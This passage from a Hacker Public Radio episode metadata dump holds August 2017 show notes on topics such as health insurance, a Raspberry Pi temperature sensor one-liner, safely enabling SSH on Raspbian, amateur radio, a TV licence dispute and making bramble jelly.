                                                            \n","hostid":196,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"bash,command line,configuration,terminal","version":0,"downloads":0,"valid":1}, {"id":2350,"date":"2017-08-04","title":"Ahuka Insurance - Understanding The Marketplace","duration":620,"summary":"How the Health Insurance Market works in the U.S","notes":"

                                                            In the U.S., health care, like most things, is driven by a private marketplace. We take a look at the principles that govern this marketplace in this episode.

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Health Insurance, Health Policy, Insurance Marketplace","version":0,"downloads":0,"valid":1}, {"id":2351,"date":"2017-08-07","title":"HPR Community News for July 2017","duration":2315,"summary":"Murphy is strong but Ken struggles on talking about shows released and comments posted in July 2017","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Ironic Sodium.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2326Mon2017-07-03HPR Community News for June 2017HPR Volunteers
                                                            2327Tue2017-07-04A Texan's view on Why only a Native Born person can be PresidentJWP
                                                            2328Wed2017-07-05Baofeng UV5R VHF/UHF Handset part 8MrX
                                                            2329Thu2017-07-06Building a Digital Clock KitDave Morriss
                                                            2330Fri2017-07-07Awk Part 7Mr. Young
                                                            2331Mon2017-07-10Liverpool Makefest 2017 Show 1Tony Hughes AKA TonyH1212
                                                            2332Tue2017-07-11Installing DD-WRT on ASUS RT-N66UIronic Sodium
                                                            2333Wed2017-07-12VirtualenvWrapper for Fish ShellMr. Young
                                                            2334Thu2017-07-13Our Adventure Begins!Claudio Miranda
                                                            2335Fri2017-07-14Baofeng UV5R VHF/UHF Handset part 9MrX
                                                            2336Mon2017-07-17Liverpool Makefest 2017 Show 2Tony Hughes AKA TonyH1212
                                                            2337Tue2017-07-18The Kobo Aura eReaderJon Kulp
                                                            2338Wed2017-07-19Binaural recording 2 off to workQuvmoh
                                                            2339Thu2017-07-20Podcast list additionsDave Morriss
                                                            2340Fri2017-07-21Tracking the HPR queue in PythonMrX
                                                            2341Mon2017-07-24Liverpool Makefest 2017 Show 3Tony Hughes AKA TonyH1212
                                                            2342Tue2017-07-25Wherein our hero fails to repair a garage door.Christopher M. Hobbs
                                                            2343Wed2017-07-26Healthcare in the NetherlandsKen Fallon
                                                            2344Thu2017-07-27Follow on to HPR2340 (Tracking the HPR queue in Python)MrX
                                                            2345Fri2017-07-28Fixing a toilet roll holderKen Fallon
                                                            2346Mon2017-07-31Liverpool Makefest 2017 Show 4Tony Hughes AKA TonyH1212
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by Gmane\n(see below) and on the HPR server under Mailman.\n

                                                            \n

                                                            Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-July/thread.html\n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 23 comments in total.

                                                            \n

                                                            There are 3 comments on\n3 previous shows:

                                                            \n\n

                                                            There are 20 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr2327\n(2017-07-04) \"A Texan's view on Why only a Native Born person can be President\"\nby JWP.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\njezra on 2017-07-05:\n\"Not native born: natural born\"
                                                              • Comment 2:\nKevin O'Brien on 2017-07-05:\n\"Jezra is correct\"
                                                              • Comment 3:\nCanadianbob on 2017-07-08:\"[no title]\"

                                                              \n
                                                            • hpr2329\n(2017-07-06) \"Building a Digital Clock Kit\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Lee on 2017-07-06:\n\"Just bought one\"
                                                              • Comment 2:\nDave Morriss on 2017-07-06:\n\"Hmm, Glasgow Podsoldering anyone?\"

                                                              \n
                                                            • hpr2333\n(2017-07-12) \"VirtualenvWrapper for Fish Shell\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nklaatu on 2017-07-17:\n\"homebrew virtual envs\"

                                                              \n
                                                            • hpr2334\n(2017-07-13) \"Our Adventure Begins!\"\nby Claudio Miranda.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin on 2017-07-13:\"[no title]\"
                                                              • Comment 2:\nClaudioM on 2017-07-14:\"[no title]\"
                                                              • Comment 3:\nDave Morriss on 2017-07-16:\n\"Nostalgia\"
                                                              • Comment 4:\nClaudioM on 2017-07-18:\n\"Re: Nostalgia\"

                                                              \n
                                                            • hpr2337\n(2017-07-18) \"The Kobo Aura eReader\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nlostnbronx on 2017-07-27:\n\"Great Overview\"
                                                              • Comment 2:\nJonathan Kulp on 2017-07-27:\n\"Kobo anagrams to Book\"

                                                              \n
                                                            • hpr2338\n(2017-07-19) \"Binaural recording 2 off to work\"\nby Quvmoh.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2017-07-18:\"[no title]\"
                                                              • Comment 2:\nWindigo on 2017-07-23:\"[no title]\"

                                                              \n
                                                            • hpr2340\n(2017-07-21) \"Tracking the HPR queue in Python\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2017-05-25:\n\"You don't need to scrape\"
                                                              • Comment 2:\nMrX on 2017-05-31:\n\"Re you don't need to scrape\"
                                                              • Comment 3:\nDave Morriss on 2017-06-01:\n\"See show 1986\"
                                                              • Comment 4:\nMrX on 2017-06-01:\n\"re: See show 1986\"

                                                              \n
                                                            • hpr2343\n(2017-07-26) \"Healthcare in the Netherlands\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2017-07-26:\n\"Unexpectedly interesting\"
                                                              • Comment 2:\nKevin O'Brien on 2017-07-26:\n\"On the way\"

                                                              \n
                                                            \n

                                                            Any other business

                                                            \n
                                                              \n
                                                            • Tags and Summaries\n\t

                                                              In the past month we have had contributions from \n\t bjb and\n\t Windigo \n\t and I have added a few tags & summaries myself. Many thanks to\n\t all contributors.

                                                              \n\t

                                                              See the current status and instructions for making your own\n\t contribution at \"Shows without a summary and/or tags\".\n\t This page has recently been reformatted for easier navigation and\n\t a new section has been added. This section lists the hosts whose\n\t shows need attention followed by the show numbers that need work.

                                                              \n\t

                                                              Currently there are 957 shows which need summaries or tags to be\n\t added. All contributions to this project are most welcome.

                                                              \n
                                                            • \n\n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2352,"date":"2017-08-08","title":"Liverpool Makefest 2017 Show 5","duration":192,"summary":"A short series of interviews done at the Liverpool Makefest 2017","notes":"

                                                            Hi Tony Hughes here with the 5th and final show of some short interviews I did during the Liverpool Makefest held on the 24th June 2017 at Liverpool Central Library.

                                                            \n

                                                            https://lpoolmakefest.org/

                                                            \n

                                                            The first interview is with Diane from Melt 3D printing

                                                            \n

                                                            https://www.melt-3d.co.uk/

                                                            \n

                                                            The second interview was with Michael from Electric Flapjack Guitars

                                                            \n

                                                            https://lpoolmakefest.org/portfolio/electric-flapjack-guitars/

                                                            \n

                                                            @EFGuitars

                                                            \n

                                                            https://instagram.com/electricflapjack

                                                            ","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Interviews, Making","version":0,"downloads":0,"valid":1}, {"id":2353,"date":"2017-08-09","title":"RoboThermometer","duration":756,"summary":"A surprisingly short geeky episode about connecting a temperature sensor to a Raspberry Pi","notes":"

                                                            Sorry this is such a short episode. I don't know what came over me, I was just listening to Mr.X talking about doing something with Python in Hacker Public Radio episode 2340, and for some reason I just felt a compulsion to record some kind of episode myself. It was so strange. I'm way behind on my Hacker Public Radio contribution duties anyway, so here's a quick, geeky tutorial about a thing I did with a Raspberry Pi just to try it.

                                                            \n

                                                            The temperature sensor I'm using is one of the many "1-wire" protocol devices supported by established kernel drivers, hence the reference to loading the modules for it:

                                                            \n
                                                            sudo modprobe w1-gpio\nsudo modprobe w1-therm
                                                            \n

                                                            The part about adding "dtoverlay=w1-gpio" to /boot/config.txt and then rebooting is also necessary, otherwise the modules load but no devices show up in /sys/bus/w1/devices/ .

                                                            \n

                                                            Part of the fun was coming up with a way of extracting the temperature reading in useful form without having to write a bunch of unnecessary python code. Not that there's anything wrong with python, but I get the impression that some people think everything "RaspberryPi" has to be written in python. An example of this that amused me is the piFM project, which cleverly abuses the first-generation Raspberry Pi spread-spectrum circuitry to turn it into a surprisingly powerful FM radio transmitter. This project had two ways to run it - the actual compiled C program that takes input audio and makes FM radio come out...and a python "module" that was literally just a system call that...ran the C program that takes the audio and makes FM radio come out.

                                                            \n

                                                            Examples of reading the temperature data that I ran into tended to also be short python scripts, so I took it as a challenge to do without, resulting in the fun-to-recite command in the episode, which on my system is:

                                                            \n
                                                            echo "scale=3; (`grep -o "[[:digit:]]\\{5\\}" /sys/bus/w1/devices/28-05167380f6ff/w1_slave`/(5000/9))+32" | bc
                                                            \n

                                                            As an example of what you get with a correctly connected and configured DS18B20 module on a Raspberry Pi, in my case the device shows up as:

                                                            \n
                                                            /sys/bus/w1/devices/28-05167380f6ff/
                                                            \n

                                                            Your device's number after the "28-" will be different, so just replace my example with your own device's number.

                                                            \n

                                                            If you read the "w1_slave" virtual-file in that directory, you get something that looks similar to this:

                                                            \n
                                                            67 01 4b 46 7f ff 0c 10 c4 : crc=c4 YES\n67 01 4b 46 7f ff 0c 10 c4 t=22437
                                                            \n

                                                            To be completely proper, one probably should validate that output to make sure the CRC matches so you know for sure that the read of the temperature data was correct, but I've had Zabbix checking my living-room temperature once every minute for a couple of days now and seen no odd readings or failures, so I'm not going to bother making anything more complicated than my hypnotic one-liner, unless I ever try to use the same kind of setup to monitor something more important, like a tank of expensive fish or a bioreactor full of beer.

                                                            \n

                                                            If you want some more detailed connection instructions for the DS18B20 temperature sensor and the Raspberry Pi, here is one of the many online pages with the whole process:

                                                            \n

                                                            https://learn.adafruit.com/adafruits-raspberry-pi-lesson-11-ds18b20-temperature-sensing/hardware

                                                            ","hostid":182,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi,Shell,Zabbix,Monitoring,Temperature,DS18B20,Sensors,Linux","version":0,"downloads":0,"valid":1}, {"id":2354,"date":"2017-08-10","title":"Night Sounds in Rural Tennessee","duration":210,"summary":"A recording of the night sounds outside Tullahoma, Tennessee","notes":"

                                                            \nUpon arriving at my parents' house tonight, I was struck anew by the incredible sounds of wildlife where they live in the woods. I decided to record and share with the HPR audience.\n

                                                            ","hostid":238,"series":101,"explicit":0,"license":"CC-BY-SA","tags":"nature, insects, wildlife","version":0,"downloads":0,"valid":1}, {"id":2355,"date":"2017-08-11","title":"Wii and WiiU Software Modding","duration":736,"summary":"I go over my current Wii and WiiU setup","notes":"

                                                            https://wiiu.guide/ A complete guide to Wii U custom firmware, from stock to Coldboot Haxchi.

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"wii,wiiu,console hacking","version":0,"downloads":0,"valid":1}, {"id":2356,"date":"2017-08-14","title":"Safely enabling ssh in the default Raspbian Image","duration":1973,"summary":"Ken walks us through a script to secure the base Raspbian Pixel image\n","notes":"

                                                            In this post I will show you how to take a default Raspbian Image and safely enable ssh by allowing remote access only with authorized keys.

                                                            \n

                                                            Recently, and correctly, the official Raspbian Pixel distribution disabled ssh with the note that from now on SSH will be disabled by default on our images.To understand why this is a good thing please read A security update for raspbian pixel. In short, having 11 million computers out there in the hands of non security professionals, with a known username and password, is not a good idea.

                                                            \n

                                                            That said there are many cases where you want to access your Pi remotely, and a key part of that is the ability to access it securely via ssh.

                                                            \n

                                                            The Raspberry Pi site offers a solution for how to reactivate ssh. One option is via the GUI, Preferences > Interfaces> SSH > Enabled. Another is via the console sudo raspi-config > Interfacing Options > SSH > Yes > Ok > Finish. The third offers a more interesting option.

                                                            \n

                                                            For headless setup, SSH can be enabled by placing a file named ssh, without any extension, onto the boot partition of the SD card. When the Pi boots, it looks for the ssh file. If it is found, SSH is enabled, and the file is deleted. The content of the file does not matter: it could contain text, or nothing at all.

                                                            \n

                                                            This is exactly what we want. Normally you would burn the image, then boot it in a Pi with a keyboard, screen and mouse attached, and then add the file. A shortcut to that would be to burn the image, eject it, insert it again, mount the sdcard boot partition, and then create a file called ssh.

                                                            \n

                                                            I don't like either of these solutions as they involve varying amounts of user intervention. I want a solution that will automatically leave me with a modified image at the end without any intervention (aka human error) on my part.

                                                            \n

                                                            So I want to build a script that can handle the following steps:

                                                            \n
                                                              \n
                                                            • Download the latest image zip file
                                                            • \n
                                                            • Verify it is valid
                                                            • \n
                                                            • Extract the image itself
                                                            • \n
                                                            • Enable ssh
                                                            • \n
                                                            • Change the default passwords for the root and pi user
                                                            • \n
                                                            • Secure the ssh server on the Pi
                                                            • \n
                                                            \n

                                                            I could add to this list and customize every aspect of the image, but my experience has shown that the more you modify, the more maintenance you will need to do. When changes are made to the base Raspbian image, you will need to fix your scripts, and worse is the job of updating all those already deployed Pi's.

                                                            \n

                                                            A better approach is to use the base images and control them with automation tools like Ansible, chef, puppet, cfengine, etc. This allows the images to be treated as Cattle rather than Pets, to see what that means see Architectures for open and scalable clouds, by Randy Bias, VP Technology at EMC, Director at OpenStack Foundation.

                                                            \n

                                                            Another approach to consider would be to Network Boot your Raspberry Pi and in that way the sdcard is barely used, and all traffic is run off the network. If you are deploying a lot of pi's in a area with a good physical network then this is a great option as well. This has the advantage that all the files are kept on the network and can be completely controlled from a central location.

                                                            \n

                                                            If you can't be bothered to stick around and find out how I did it, you can download the script fix-ssh-on-pi.bash from git hub. Remember that it is intended more as inspiration rather than a working tool out of the box. I deliberately wrote it so you must edit it to make it fit your needs.

                                                            \n

                                                            See the complete show notes for the step by step instructions that lead to the creation of the script file, with credit been given to the sites that offered each part of the solution.

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Raspberry Pi, ssh","version":0,"downloads":0,"valid":1}, {"id":2357,"date":"2017-08-15","title":"Air Soft Mini Howto","duration":853,"summary":"I talk about my current setup for AirSoft and how we should all have hobbies! ","notes":"

                                                            https://airsoftjunkiez.com

                                                            \n

                                                            get off the computer !

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"airsoft","version":0,"downloads":0,"valid":1}, {"id":2358,"date":"2017-08-16","title":"Amateur radio round table #2","duration":2769,"summary":"Two of us trying to explain stuff mostly off the cuffs.","notes":"

                                                            This time only the two of us:

                                                            \n
                                                              \n
                                                            • Steve, KD0IJP
                                                            • \n
                                                            • Michael, DL4MGM
                                                            • \n
                                                            \n

                                                            A lot of off the cuff technical explanation.

                                                            \n

                                                            Starting from the comment by David Whitman to the last round table, we talk about frequency, wave length, propagation velocity and their relations. https://en.wikipedia.org/wiki/Wavelength. Approximate wave length values are commonly used to reference to entire "frequency bands", which are the frequency spectrum portions allocated to a certain radio service in proximity. Status of (amateur) frequency allocation may vary with band or country. They may not be "exclusive" and there can be "primary" and "secondary" radio services sharing that spectrum. Secondary services must not interfere with primary ones, while the other way round has to be accepted.

                                                            \n

                                                            What frequency is most powerful? - It depends! We ramble a bit how different frequencies have different propagation depending on certain factors like daytime, time of year, sun spot cycle. - Please help out with more in depth information here! Join us. There is a varying maximum and a minimum useable frequency for ionospheric propagation. https://en.wikipedia.org/wiki/Maximum_usable_frequency

                                                            \n

                                                            VHF (globally > 30MHz) and UHF (> 300 MHz) waves have a more line of sight propagation. Steve shortly introduces the concept of repeater stations. Usually at an exposed location, a repeater retransmits the signal that is received at another frequency, thus extending communication range. Participants only need to reach the repeater in order to be able communicate with each other. We hint at additional propagation modes for VHF, like sporadic E-layer propagation, but are not able to go into detail. - Please tell us, if you have experience in those fields!

                                                            \n

                                                            Some thoughts about RF output power and how it is less important if conditions are right.

                                                            \n

                                                            Modulation: Putting "information" onto a radio frequency signal. Staring out as a clean "carrier wave", its parameters are modified according to the modulation scheme. We start out and explain the basic concepts of amplitude modulation, AM, where the amplitude of the radio wave is altered by the modulating signal. Then frequency modulation, FM, where the modulation process influences frequency of the output signal. We use voice audio as an example as modulation content, but this can of course be of digital nature. SSB, single side band modulation. It is the standard voice modulation mode for short wave amateur communication. We give a very brief explanation of one possible way of generating it. We discuss how it is more efficient than AM in regard to occupied frequency spectrum use and transmit power.

                                                            \n

                                                            This leads to ideas how great it would be if someone could record a show about those things, including audio examples. We further digress in how it may be a good idea to single out individual topics separate shows. The "rabbit holes" (tm MrX I think) we fall in while explaining other stuff. Make them available to be simply referenced in later shows and we can concentrate on the topic at hand.

                                                            \n

                                                            There will be a place to put ideas and draw inspiration for shows here: https://etherpad.net/p/HPR-HAM-TOPICS

                                                            \n

                                                            Next we pick up the discussion of frequency shift caused by the Doppler effect and its effect on satellite operation. This was triggered by a question in "hpr2216 :: Working AO-85 with my son" (https://hackerpublicradio.org/eps.php?id=2216). https://en.wikipedia.org/wiki/Doppler_effect

                                                            \n

                                                            We ramble a bit how in the wide field of amateur radio no one can know everything right from the beginning. Take the jump start provided by the knowledge required for the test and go on with learning by doing.

                                                            \n

                                                            How cool would it be to have shows from "Ham fests" like the "Dayton Hamvention", the "HAM RADIO" or any other event. A brief mention of the "ARRL Fieldday".

                                                            \n

                                                            We have a mini poll and want to get feed back from the audience, if they would be interested to have some sort of decoding riddle in future shows.

                                                            \n","hostid":109,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"amateur radio, modulation, AM, FM, SSB, doppler, satellite","version":0,"downloads":0,"valid":1}, {"id":2359,"date":"2017-08-17","title":"Android ROM and PAIN","duration":1522,"summary":"I go over some of my pain and love for Android over the years","notes":"

                                                            https://www.nirsoft.net/utils/usb_devices_view.html

                                                            \n

                                                            https://forum.xda-developers.com

                                                            \n

                                                            https://www.bignox.com/

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Android,phone","version":0,"downloads":0,"valid":1}, {"id":2360,"date":"2017-08-18","title":"Tradeoffs in the US Health Care System","duration":756,"summary":"Financing health care means choices to be made","notes":"

                                                            Health care is a service, and like all services it needs to be paid for one way or another. This means making choices, and there are consequences and implications to whichever choice you make. But there is no free lunch, you have to pay.

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health Insurance, Health Policy, Insurance Marketplace","version":0,"downloads":0,"valid":1}, {"id":2361,"date":"2017-08-21","title":"Information Underground: Working Out","duration":2447,"summary":"Deepgeek, Lostnbronx, and Klaatu talk about exercise.","notes":"Deepgeek, Lostnbronx, and Klaatu talk about exercise.","hostid":78,"series":99,"explicit":0,"license":"CC-BY-SA","tags":"Information Underground","version":0,"downloads":0,"valid":1}, {"id":2362,"date":"2017-08-22","title":"Raspbian X86 on Lenovo x61s","duration":670,"summary":"This is another distro review show","notes":"

                                                            This show is about putting the new Raspbian image onto one of the Lenovo x61s laptops that I have previously talked about.

                                                            \n

                                                            These laptops do not have a DVD drive so normally I would create a boot flash drive using USB image writer in Linux Mint, but I had received a DVD of Raspbian with the MagPi magazine so I connected a portable USB DVD drive that I have and used the disc to install to the laptop.

                                                            \n

                                                            On booting to the DVD drive you get several options including a live session with persistence (this allows the saving of data and system changes to a flash drive during the session if wanted), but the option I chose was to install to hard drive.

                                                            \n

                                                            This gives a simplified Debian installer and for new users with no previous experience of installing Linux it recommends one of the options at each stage. The only issue I had was at the stage it asks where to install Grub it does not automatically highlight the main drive (Sda) a small gripe but for a newcomer it could confuse.

                                                            \n

                                                            That said the install went flawlessly and upon first boot I was left with the PIXEL desktop with the task bar at the top of the screen and a short cut for the recycle bin. The boot time on this laptop with a Core2Duo 4Gig Ram and 120Gig SSD was about 30 seconds which is good also it was only using 87mb of the available RAM on start up, this shows the credentials of an OS built to run on the original 256mb Pi.

                                                            \n

                                                            First job is to navigate to Raspberry config from the menu bar by going to:

                                                            \n

                                                            Open Menu > Preferences > Raspberry Pi Configuration.

                                                            \n

                                                            From here you have a number of options but the important one is to change the default password from raspberry to something a little more secure.   After this I connected the Laptop to my WiFi network which is flawless on the x61s as it is an Intel WiFi card, I can't comment on other cards here.

                                                            \n

                                                            The next task that I did was to run the terminal commands 'sudo apt update' & 'sudo apt upgrade'. This will result in an updated system with all the security fixes installed and any package upgrades that are available.

                                                            \n

                                                            The one thing I was not happy about is that Raspbian allows 'sudo' access for terminal commands without requesting a password by default, this can be fixed if you feel this is a major issue depending on what you are using the device for.

                                                            \n

                                                            https://raspberrypi.stackexchange.com/questions/7133/how-to-change-user-pi-sudo-permissions-how-to-add-other-accounts-with-different  

                                                            \n

                                                            After completing the upgrade I decided to add the 'Synaptic' package manager to the install as this makes finding software a little easier if you not sure exactly what you're looking for. This is as simple as 'sudo apt install synaptic' in the terminal and once installed you'll find a link to it under preferences in the menu.

                                                            \n

                                                            One thing that I found that did not work out of the box was Audio, I had to install some Alsa packages and audacity to collect the needed dependencies for the audio to work. So I installed Alsa player, Alsa mixer GUI and Audacity and after this and a reboot miraculously audio now worked.

                                                            \n

                                                            Also there was not battery monitor installed so I installed Batmon so that I could check the battery status of the laptop.   On the whole given that Raspbian has been built to be compatible with all iterations of the Raspberry Pi board the software installed by default while minimal includes all the basics for web use - Chromium, email - Claws and office work - Open Office suit, along side all the Pi favourites such as Scratch (including Scratch 2) and Python programming tools.   Would I use Raspbian x86 as a daily driver, with a few tweaks, I might, particularly on an older PC/Laptop. I need to try it on an old Atom Net Book to see if it will work well on a really low specified system but a Pentium 4 with a couple of gig of RAM should work reasonably well as a development and homework PC for a school student so could extend the life of an old machine you may have kicking around. But a Core2Duo is definitely a goer, even with a basic 1Gig of Ram it should work quite well and 2Gig or better no issues at all.

                                                            \n

                                                            There is a link to the iso download via HTTP or torrent here:

                                                            \n

                                                            https://www.zdnet.com/article/raspbian-gnulinux-new-release-includes-installable-x86-image/

                                                            \n","hostid":338,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspbian,X86,Lenovo","version":0,"downloads":0,"valid":1}, {"id":2363,"date":"2017-08-23","title":"Cancelling my TV licence","duration":639,"summary":"I don't watch any TV so I don't need a licence, but cancelling it is unexpectedly difficult","notes":"

                                                            Cancelling my TV licence

                                                            \n

                                                            I get a letter

                                                            \n

                                                            In July 2017 I received a letter from the TV Licensing organisation telling me they'd be taking £147 from my account on the 1st of August. I had set up a "Direct Debit" arrangement with my bank many years before which allowed them to do this, and had forgotten all about it.

                                                            \n

                                                            When my kids were small, and later in their teens, a lot of TV was watched in my house. We used to watch all the over the air channels, and when things started to move towards digital in the UK I bought a PVR (aka DVR) which converted the Freeview channels into a signal for my analogue TV, and also recorded stuff on demand.

                                                            \n

                                                            I watched some TV after I retired in 2009, but by 2013 with my kids having left home (to all intents and purposes), and the quality of what was available having fallen to a record low, I stopped.

                                                            \n

                                                            When this letter arrived I realised I'd been paying for this licence to watch TV for several years without using it.

                                                            \n

                                                            I throw out my TV

                                                            \n

                                                            The old analogue, CRT TV sitting in the corner of my room (and the associated Freeview PVR) had not been turned on for 4 years, so it was time for them to go. So I took my TV to the recycling centre with the help of my son. The PVR will be hacked for useful components.

                                                            \n

                                                            I cancel my licence

                                                            \n

                                                            Next step was to stop paying this annual licence. The letter told me what to do. I discovered I fulfilled all the requirements listed there:

                                                            \n
                                                              \n
                                                            • I never watch or record programmes as they are being shown on TV
                                                            • \n
                                                            • I never download or watch BBC programmes on demand
                                                            • \n
                                                            • I don't do this on a TV, desktop computer, laptop, mobile phone, tablet, games console, digital box or DVD/VHS recorder.
                                                            • \n
                                                            \n

                                                            I called the number on the back of the letter and cancelled.

                                                            \n

                                                            The guy I spoke to said I'd get a letter of confirmation soon. I asked if they'd cancel the Direct Debit or whether I should. He advised me to cancel myself, so I did it immediately.

                                                            \n

                                                            I get my confirmation letter

                                                            \n

                                                            A number of days later I received a letter entitled (rather oddly) "Your No Licence Needed confirmation". It told me my no licence was valid from July 2017 and expired July 2019.

                                                            \n

                                                            The letter did point out that I might receive a visit to "confirm that a licence isn't needed".

                                                            \n

                                                            A friendly leaflet accompanying the letter contained the question and answer:

                                                            \n

                                                            Can I be prosecuted for watching BBC programmes on BBC iPlayer without a licence?

                                                            \n
                                                            \n

                                                            Yes. From 1 September 2016, you risk prosecution and a fine of up to £1,000 plus any legal costs and/or compensation you may be ordered to pay.

                                                            \n
                                                            \n

                                                            I get an urgent letter from TV Licensing

                                                            \n

                                                            On the 12th August I received a letter from TV Licensing which asked me to call them urgently because my bank had declined a Direct Debit payment request.

                                                            \n

                                                            I called on the 14th August and was told that this was a mistake and the letter could be ignored.

                                                            \n

                                                            However, to get this answer I had to navigate 4 menus and give my details to a robot. Of course the person I eventually contacted asked for the details all over again! This made me wonder if the robot is there for any purpose other than to be a deterrent to callers. The same goes for the 4 menus.

                                                            \n

                                                            I get a phone call from TV Licensing

                                                            \n

                                                            On 17th August I found a message on my answering machine asking me to call TV Licensing. I did so, and navigated the 4 menus again. This time the robot asked for my licence number, but since I reasoned I didn't have one I gave it the reference number of my no licence. That didn't work.

                                                            \n

                                                            It then asked for my postcode, street name, house number and payment details. It confirmed the address stuff but when I said I didn't pay for a licence it passed me to a human.

                                                            \n

                                                            The lady I was speaking to then asked for my name, address, postcode, etc. I asked why I was being asked for this again having just given it to a robot. Apparently these weren't passed through because I "failed" to answer all the questions properly. That's odd because the same happened last time when I got the questions "right"!

                                                            \n

                                                            This time it turned out that the problem was that my no licence had been cancelled. No reason was given.

                                                            \n

                                                            I asked why, if a thing I had carefully set up with the expectation of it remaining in place for 2 years had been cancelled, I hadn't been notified. I didn't get an answer.

                                                            \n

                                                            Conclusion

                                                            \n

                                                            It seems that TV Licensing has one of the worst systems for managing its "customers" on the planet. I told the representative that this was my opinion while I was on the phone.

                                                            \n

                                                            I'm wondering what's next in the saga. Will it be the "heavies" at the door (I'm not obliged to let them in without a warrant, I discovered), a legendary TV Detector van outside my house (I'd like to see one and take a picture of it), another spurious money demand or unexplained loss of my details?

                                                            \n

                                                            However, although it has been bad, this story did give me something to write and talk about for HPR so it's not all bad!

                                                            \n

                                                            Links

                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"TV,television,licence","version":0,"downloads":0,"valid":1}, {"id":2364,"date":"2017-08-24","title":"Managing Your Android with AirDroid","duration":875,"summary":"Frank discusses AirDroid, an app for managing Your Android via a browser.","notes":"

                                                            Frank Bell talks about the Android app, AirDroid, a utility for managing your Android phone via your browser. You can use it to transfer files back and forth between your phone and a computer, edit your contacts, control your camera, and much more.

                                                            \n

                                                            Website: https://www.airdroid.com/

                                                            \n

                                                            Some screenshots:

                                                            \n

                                                            AirDroid "Accept Connection" Screen:
                                                            \n\"https://pineviewfarm.net/weblog/wp-content/uploads/2017/08/AirDroid_Accept.jpg\"

                                                            \n

                                                            "AirDroid Devices" Screen:
                                                            \n\"https://pineviewfarm.net/weblog/wp-content/uploads/2017/08/AirDroid_Devices.jpg\"

                                                            \n

                                                            AirDroid Browser Interface:
                                                            \n\"https://pineviewfarm.net/weblog/wp-content/uploads/2017/08/AirDroid_file_view.jpg\"

                                                            ","hostid":195,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Android, phones, file transfer","version":0,"downloads":0,"valid":1}, {"id":2365,"date":"2017-08-25","title":"Rolling out a radio-based internet service in rural England","duration":1176,"summary":"One person's quest to get a decent internet connection when the big corporations aren't interested.","notes":"

                                                            In the UK there is a lot of competition in the telecoms business but, in reality, most of the players rely on infrastructure owned and operated by one company - BT.

                                                            \n

                                                            Urban customers benefit greatly from this competition and probably have the cheapest telecom services in Europe as a result. The emphasis of the providers is, understandably, areas of high population concentrations. The problem is that nowadays a lot of people living in rural areas need fast and reliable internet connections to do their jobs and run their businesses.

                                                            \n

                                                            What do you do when you live in a remote area and the major internet providers have no plans to roll fast connections out to where you live?

                                                            \n

                                                            In this episode Beeza describes how he found a solution and managed to get it implemented.

                                                            ","hostid":246,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Internet, ISP, BT, Wireless Networking, Infrastructure, rural","version":0,"downloads":0,"valid":1}, {"id":2366,"date":"2017-08-28","title":"Making Bramble Jelly","duration":665,"summary":"This is a show on making Bramble Jelly","notes":"

                                                            How to make Jam/Jelly

                                                            \n

                                                            Hi again HPR listeners, its the time of the year when I turn my hand to foraging and making Jelly from the local wild brambles.

                                                            \n

                                                            The season has started early here in the UK so I’ve already produced over 60 jars of bramble jelly this year with more to come. Thankfully I have people who donate old jam jars for reuse during the year which I store for this very time of the year so I have not had any problems with jars for storage.

                                                            \n

